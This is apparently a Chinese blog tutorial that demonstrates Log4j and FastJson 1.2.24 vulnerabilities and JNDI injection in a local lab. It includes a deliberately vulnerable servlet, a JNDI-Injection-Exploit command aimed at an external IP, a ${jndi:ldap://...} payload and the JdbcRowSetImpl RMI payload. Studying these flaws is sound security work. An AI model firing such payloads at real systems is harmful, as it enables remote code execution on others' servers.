Java安全—log4j日志&FastJson序列化&JNDI注入

前言

log4j和fastjson都是这几年比较火的组件,前者是用于日志输出后者则是用于数据转换,今天我们从源码来说一下这两个组件为何会造成漏洞。

实验环境

这里的idea要进行一下配置,因为我们要引用第三方组件,而这些第三方组件都是从国外的库来下载的,我们需要配置成国内的库不然就比较慢啥的。

Maven 配置:https://www.jb51.net/article/259780.htm

需要注意一下,最后测试的步骤把导入org.junit.Test换成导入org.junit.jupiter.api.Test即可解决报错。

log4j

Apache 的一个开源项目,通过使用 Log4j,我们可以控制日志信息输送的目的地是控制 台、文件、GUI 组件,甚至是套接口服务器、NT 的事件记录器、UNIX Syslog 守护进 程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能 够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来 灵活地进行配置,而不需要修改应用的代码。

先新建一个java项目,命名为Log4j---demo。

可以在外部库看到引用了很多第三方库,但是没有Log4j,我们需要引进一下。

访问这个jar包网站,直接搜log4j。

https://mvnrepository.com/

可以看到log4j这个组件在2.17.1版本之后就没有漏洞了,我们这里选择2.13.1版本的,其它的也行。

点击进去选择Maven。

复制里面的内容到pom.xml这个文件下面,然后更新,就可以看到这个外部库被下载下来啦。

新建一个名为Log4j的文件。

写入以下的代码。

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;



public class Log4jTest {
    private static final Logger logger = LogManager.getLogger(Log4jTest.class.getName());
    public static void main(String[] args) {
        logger.error("Hello World");
    }
}

运行输出日志Hello World。

ok现在我们怎么利用呢,我们把代码修改一下,那么现在是会输出${java:os}还是说输出别的呢。

直接运行发现并没有输出{java:os},而是输出了我们系统的版本信息,这是为啥呢?原来当Log4j在输出日志的时候遇到符号就会把{}里面的东西当作代码来执行,从而造成RCE!!!

当我们的code这个变量是可控的时候就会造成RCE漏洞,所以我们现在搞个网站来试试,新建一个项目,命名为log4j-web。

选择JavaEE8。

再新建一个java文件,命名log4jServlet。

记得到pom.xml这个文件里面,把log4j外部库导入,接着写入以下代码。

package com.sf.maven.log4jweb;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet("/log4j")
public class log4jServlet extends HttpServlet {
    private static final Logger log = LogManager.getLogger(log4jServlet.class);

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
      String code = req.getParameter("code");
      log.error(code);

    }
}

我们点击编辑配置。

点击左上角的+号,选择Tomcat服务器,选择本地的。

这个应用程序服务器需要你去下载一个才行,直接搜Tomcat下载即可,JDK1.8的话建议配9.0版本的Tomcat。

下载好Tomcat直接点击配置导入即可。

接着点击部署。

点击+号,选择工件,把我们两个log4j的工件部署进去。

最后点击运行就会在浏览器自动打开一个页面。

访问我们的log4j页面,对code参数传参。

回到idea这里,可以看到11被当作日志给输出来啦。

接着执行命令,直接给我跳到404了,这是咋回事呢。

原因是tomcat的版本问题,好像是tomcat7.9以上的版本,都不支持请求链接上带有特殊字符。否则会报400错误,这是因为Tomcat严格按照 RFC 3986规范进行访问解析,而 RFC3986规范定义了Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符(RFC3986中指定了以下字符为保留字符:! * ' ( ) ; : @ & = + $ , / ? # [ ])。传入的参数中有"{"不在RFC3986中的保留字段中,所以会报这个错。

所以我们直接去修改Tomcat的配置文件server.xml,把原来的注释掉,改为如下。

<Connector port="8080" protocol="HTTP/1.1"
               relaxedQueryChars="[]|{}^&#x5c;&#x60;&quot;&lt;&gt;"
               connectionTimeout="20000"
               redirectPort="8443" /
/>

重新运行代码执行命令,终于成功啦。

Jndi注入

说到log4j就不得不提Jndi注入了,全称Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提 供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名 服务和目录服务之间的交互。

我们利用这个JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具来演示一下jndi注入,具体原理的话下篇文章讲,生成命令为"calc"访问IP为8.149.141.189的连接。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 8.xxx.xxx.xxx


随便选个链接,ldap或者rmi都是一样的,生成出来的连接还不能直接用,我们加个括号。

${jndi:ldap://8.xxx.xxx.xxx:1389/h9joif}

这时候我们的本地电脑的计算机给我弹出来了,因为calc就是打开电脑计算机的命令。

FastJson

在前后端数据传输交互中,经常会遇到字符串(String)与 json,XML 等格式相互转换与 解析,其中 Json 以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据 交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web 输出等各 种应用场景中。FastJson 是阿里巴巴的的开源库,用于对 JSON 格式的数据进行解析和打包。说这么多,其实我说白了就是一个数据类型转换的第三方组件。

新建一个项目叫fastjson-demo。

找个有漏洞的FastJson版本组件,我这里用1.2.24版本的。

把代码复制进去下载第三方库,和上面一样。

如果报错的话是没有更新源。

把maven改为我们自己的源,不要默认的源,如果不懂就看上面链接的文章。

换了之后秒下载完成。

先新建一个软甲包,叫com.wlwznb。

再新建一个java文件,命名user。

写入以下代码,这些代码都是idea自带的直接tab补全即可。

package com.wlwznb;
public class user {
    private String name;
    private int age;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
        System.out.println(this.name);
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
        System.out.println(this.age);
    }
}

再新建一个文件叫fastjson。

我们用这个FastJson这个文件去处理user文件里面的数据,简单写一下代码。

输出。

我们现在的age和name都是字符串类型的数据,现在我要把它转换为Json的数据格式,可以用java自带的API来进行转换,但是自带的API太麻烦了我不想用,所以我引入第三方组件------FastJson。这里在原来的代码中加上两句代码,调用FastJson这个组件。

可以看到输出的数据是Json格式的。

我们现在来看看漏洞是这么造成的,把这FastJson的代码补充完整,就是输出类型。

可以看到这次输出的Json数据多了@type和com.wlwznb.user。

这个@type指定了com.wlwznb.user这个类,并且执行了里面的代码。OK,现在我们再新建一个文件命名为Run,接着写入一个命令执行的代码,执行calc命令。

再在原有的代码基础上,加上两行代码,就是把Json数据转换为字符串格式,注意此时我们的@type指定的类不再是原本的com.wlwznb.user,而是我们刚刚编写的用于命令执行的类com.wlwznb.Run。

运行代码成功弹出计算器,说上面我们说的是对的,这里我指定了com.wlwznb.Run这个类,那么在数据转换的过程就会执行这个类里面的代码。

那在实战中不可能说我们自己去写一个类呀,那咋搞。我们来看一个最典型的payload,这里指定了com.sun.rowset.JdbcRowSetImpl这个类,这个玩意是Java自带的。然后这个类里面的setAutoCommit()方法会调用 connect() 函数,connect()函数又会调用 InitialContext.lookup(dataSourceName)这个函数,InitialContext.lookup这个函数的作用就是查找并返回绑定到指定名称的对象,通俗来讲就是去请求一个资源。然而这个dataSourceName参数是可控的,所以我们指定一个恶意的资源,让它通过rmi或者ldap去请求我们的资源,并且执行我们恶意资源中的代码,从而造成jndi注入。

如果你不懂Java中的类、方法是啥意思,简答来说类就是python中封装好的模块,直接调用即可,模块里面还有很多函数啥的,这些在Java中叫方法,其实就是一样的东西。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

PS:已经尽最大的努力讲明白了

到这里可能会有人有疑问,不是说反序列话造成的漏洞吗,反序列化在哪里?这里把test这个Json数据变成字符串过程就是反序列化,上面把字符串变成Json数据就是序列化,我们讲数据转换只是为了方便理解。

总结

这里就讲了log4j和FastJson两个组件所产生的漏洞,具体怎么利用就下次讲了,还有这个Jndi注入。

最后还是要声明一下,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

相关推荐
小蜗牛慢慢爬行几秒前
Hibernate、JPA、Spring DATA JPA、Hibernate 代理和架构
java·架构·hibernate
光路科技28 分钟前
八大网络安全策略:如何防范物联网(IoT)设备带来的安全风险
物联网·安全·web安全
saynaihe41 分钟前
安全地使用 Docker 和 Systemctl 部署 Kafka 的综合指南
运维·安全·docker·容器·kafka
星河梦瑾1 小时前
SpringBoot相关漏洞学习资料
java·经验分享·spring boot·安全
黄名富1 小时前
Redis 附加功能(二)— 自动过期、流水线与事务及Lua脚本
java·数据库·redis·lua
love静思冥想1 小时前
JMeter 使用详解
java·jmeter
言、雲1 小时前
从tryLock()源码来出发,解析Redisson的重试机制和看门狗机制
java·开发语言·数据库
TT哇1 小时前
【数据结构练习题】链表与LinkedList
java·数据结构·链表
黑客Ela1 小时前
对安全的认知
安全
Yvemil72 小时前
《开启微服务之旅:Spring Boot 从入门到实践》(三)
java